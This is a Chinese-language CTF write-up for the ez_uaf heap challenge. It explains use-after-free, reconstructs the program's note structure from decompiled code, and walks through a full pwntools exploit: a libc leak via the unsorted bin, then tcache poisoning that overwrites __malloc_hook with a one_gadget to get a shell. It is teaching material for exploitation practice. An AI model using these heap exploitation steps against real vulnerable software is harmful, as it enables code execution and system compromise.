UAF
UAF 即 Use After Free (释放后使用)当一个指针所指向的指针块被释放掉之后可以再次被使用, 但是这是有要求的,不妨将所有的情况列举出来
chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃。
chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时**程序很有可能正常运转**
内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,**就很有可能会出现奇怪的问题**
在堆中 Use After Free 一般指的是后两种漏洞, 我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针)
来看一道题
[HNCTF 2022 WEEK4]ez_uaf
ida静态分析
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
init_env(argc, argv, envp);
puts("Easy Note.");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = getnum();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
puts("Invalid!");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}
进入菜单看看
int menu()
{
puts("1.Add.");
puts("2.Delete.");
puts("3.Show.");
puts("4.Edit.");
return puts("Choice: ");
}
可以看到有四种功能
int add()
{
__int64 v1; // rbx
int i; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]
for ( i = 0; i <= 15 && *((_QWORD *)&heaplist + i); ++i )
;
if ( i == 16 )
{
puts("Full!");
return 0;
}
else
{
puts("Size:");
v3 = getnum();
if ( (unsigned int)v3 > 0x500 )
{
return puts("Invalid!");
}
else
{
*((_QWORD *)&heaplist + i) = malloc(0x20uLL);
if ( !*((_QWORD *)&heaplist + i) )
{
puts("Malloc Error!");
exit(1);
}
v1 = *((_QWORD *)&heaplist + i);
*(_QWORD *)(v1 + 16) = malloc(v3);
if ( !*(_QWORD *)(*((_QWORD *)&heaplist + i) + 16LL) )
{
puts("Malloc Error!");
exit(1);
}
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3;
puts("Name: ");
if ( !(unsigned int)read(0, *((void **)&heaplist + i), 0x10uLL) )
{
puts("Something error!");
exit(1);
}
puts("Content:");
if ( !(unsigned int)read(
0,
*(void **)(*((_QWORD *)&heaplist + i) + 16LL),
*(int *)(*((_QWORD *)&heaplist + i) + 24LL)) )
{
puts("Error!");
exit(1);
}
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1;
return puts("Done!");
}
}
}
Add函数
结构体设计
每个堆块包含:
- 16字节的name字段
- 8字节的content指针(指向数据区)
- 4字节的size(数据区大小)
- 4字节的status(使用状态)
结构体基地址分配
*((_QWORD *)&heaplist + i) = malloc(0x20uLL); // 分配 0x20 (32) 字节的结构体内存
总大小:0x20 字节(32 字节)
对应设计:整个结构体的大小为 32 字节,由后续字段的偏移总和验证。
结构体字段定义(通过偏移操作体现)
(1) name 字段(0x00-0x0F)
read(0, *((void **)&heaplist + i), 0x10uLL); // 向基地址写入 16 字节的 name
偏移:0x00(基地址起始位置
长度:0x10(16 字节)
操作:直接将用户输入的 16 字节数据写入结构体起始地址。
(2) content_ptr 字段(0x10-0x17)
*(_QWORD *)(v1 + 16) = malloc(v3); // 将 content 指针存入偏移 0x10 处
偏移:0x10(基地址 + 16 字节)
类型:_QWORD(64 位指针)
操作:
v1 是结构体基地址(heaplist[i])
v1 + 16 定位到 content_ptr 字段的地址
将 malloc(v3) 返回的 content 数据区指针存入此处
。
(3) size 字段(0x18-0x1B)
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 24LL) = v3; // 将 size 存入偏移 0x18 处
偏移:0x18(基地址 + 24 字节)
类型:_DWORD(4 字节整数)
操作:将用户输入的 v3(content 大小)存入此处。
(4) status 字段(0x1C-0x1F)
*(_DWORD *)(*((_QWORD *)&heaplist + i) + 28LL) = 1; // 将 status 标记为 1(已使用)
偏移:0x1C(基地址 + 28 字节)
类型:_DWORD(4 字节整数)
操作:将状态标记为 1(表示该堆块已被占用)。
结构体内存布局总结
通过代码中的偏移操作,可以反推出结构体的完整内存布局:
struct HeapEntry {
char name[16]; // 0x00-0x0F (16 bytes)
void* content_ptr; // 0x10-0x17 (8 bytes)
int size; // 0x18-0x1B (4 bytes)
int status; // 0x1C-0x1F (4 bytes)
}; // 总计 32 字节 (0x20)
代码验证
content_ptr 访问:
puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL)); // show 函数中的 content 输出
+16LL 对应 content_ptr 的偏移 0x10,验证了字段位置。
size 使用:
read(0, *(void **)(*((_QWORD *)&heaplist + i) + 16LL), *(int *)(*((_QWORD *)&heaplist + i) + 24LL));
+24LL 对应 size 字段的偏移 0x18,用于控制 read 的长度。
int show()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("Input your idx:");
v1 = getnum();
if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )//负数索引验证和空指针检查
{
puts(*((const char **)&heaplist + v1));
return puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));
}
else
{
puts("Error idx!");
return 0;
}
}
show函数
输入索引
通过getnum()获取用户输入的索引值v1。
索引有效性检查
if ( (unsigned int)v1 <= 0xF && *((_QWORD *)&heaplist + v1) )
- 范围检查:将
v1转为无符号整数后检查是否 <=15(0xF),防止负数索引 - 空指针检查:确保
heaplist[v1]指针非空(堆块已分配)
输出堆块信息
-
输出 Name 字段:
puts(*((const char **)&heaplist + v1));- 直接输出结构体起始地址的 16 字节数据(即
name字段) - 依赖
name以\0结尾(存在风险,见下文)
- 直接输出结构体起始地址的 16 字节数据(即
-
输出 Content 数据:
puts(*(const char **)(*((_QWORD *)&heaplist + v1) + 16LL));- 从结构体偏移
0x10处读取content_ptr指针 - 输出
content_ptr指向的数据,同样依赖\0终止符
- 从结构体偏移
总体思路
这道题提供了一个UAF条件来让我们进行UAF攻击
exp
from pwn import *
p = process("./ez_uaf")
#p = remote("node5.anna.nssctf.cn", 25763)
elf = ELF("./ez_uaf")
context.log_level = 'debug'
def add(size, name, content):
p.recvuntil("Choice")
p.sendline("1")
p.recvuntil("Size")
p.sendline(str(size))
p.recvuntil("Name")
p.sendline(name)
p.recvuntil("Content")
p.sendline(content)
def delete(idx):
p.recvuntil("Choice")
p.sendline("2")
p.recvuntil("idx")
p.sendline(str(idx))
def show(idx):
p.recvuntil("Choice")
p.sendline("3")
p.recvuntil("idx")
p.sendline(str(idx))
def edit(idx, content):
p.recvuntil("Choice")
p.sendline("4")
p.recvuntil("idx")
p.sendline(str(idx))
p.sendline(content)
if __name__ == "__main__":
for _ in range(7):
add(0x80, "a", "b")
add(0x80, "a", "b")
add(0x20, "a", "b")
for i in range(7):
delete(i)
delete(7)
gdb.attach(p)
show(7)
leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
success(f"leak_main_arena: {hex(leak_main_arena)}")
main_arena = leak_main_arena - 0x60
success(f"main_arena: {hex(main_arena)}")
libc_base = main_arena - 0x3ebc40
success(f"libc base: {hex(libc_base)}")
# tcache
edit(6, p64(main_arena - 0x10))
add(0x80, "1", "2")
add(0x80, "1", p64(libc_base + 0x10a2fc))
p.recvuntil("Choice")
p.sendline("1")
p.recvuntil("Size")
p.sendline(str(16))
# gdb.attach(p)
p.interactive()
我们先来看攻击第一步,申请了七个堆块,然后又单独申请了大小分别为0x80和0x20的堆块
前七个堆块:
填充 tcache 的 0x80 大小单链表(默认最多缓存 7 个块)
第 8 个0x80堆块:
释放后会进入 unsorted bin,其 fd/bk 会指向 main_arena 地址
小堆块隔离防止堆合并
然后释放堆块
释放堆块制造漏洞环境:
释放后内存状态
tcache[0x80] 链表已满(7 个块)
第 8 个堆块进入 unsorted bin,其 fd/bk 指向 main_arena(libc 地址)
泄露libc基地址
#python
show(7) # 读取 unsorted bin 中的堆块内容
leak_main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
main_arena = leak_main_arena - 0x60
libc_base = main_arena - 0x3ebc40 # 根据 libc 版本调整偏移
unsorted bin中的堆块fd指向main_arena.top(main_arena + 0x60)- 通过泄露的地址计算
libc_base(不同 libc 版本main_arena偏移不同
tcache poisoning 攻击
edit(6, p64(main_arena - 0x10)) # 修改 tcache 链表的 next 指针
add(0x80, "1", "2") # 取出被污染的块,链表指向伪造地址
add(0x80, "1", p64(libc_base + 0x10a2fc)) # 分配到目标地址并写入 system
关键操作:
- 修改 tcache 链表:
- 通过
edit(6)修改第 6 个释放块(位于tcache链表头部)的next指针 - 将其指向
main_arena - 0x10(伪造地址,可能对应__free_hook附近)
- 通过
- 分配伪造堆块:
- 第一次
add取出原链表头部,此时新链表头部指向伪造地址 - 第二次
add分配到伪造地址,写入__free_hook地址(需根据 libc 符号计算)//走任意执行 p64(libc_base + 0x10a2fc)是system或one_gadget地址(需根据目标 libc 调整)- 这道题我们走的是one_gadget
- 第一次
关键原理
__malloc_hook 机制
__malloc_hook 是 libc 的全局变量,指向一个函数指针。当调用 malloc 时,若该指针非空,会优先执行其指向的代码。
利用方式:通过 tcache 投毒,将 __malloc_hook 覆盖为 One-Gadget 地址,后续 malloc 调用会直接触发 shell。

浙公网安备 33010602011771号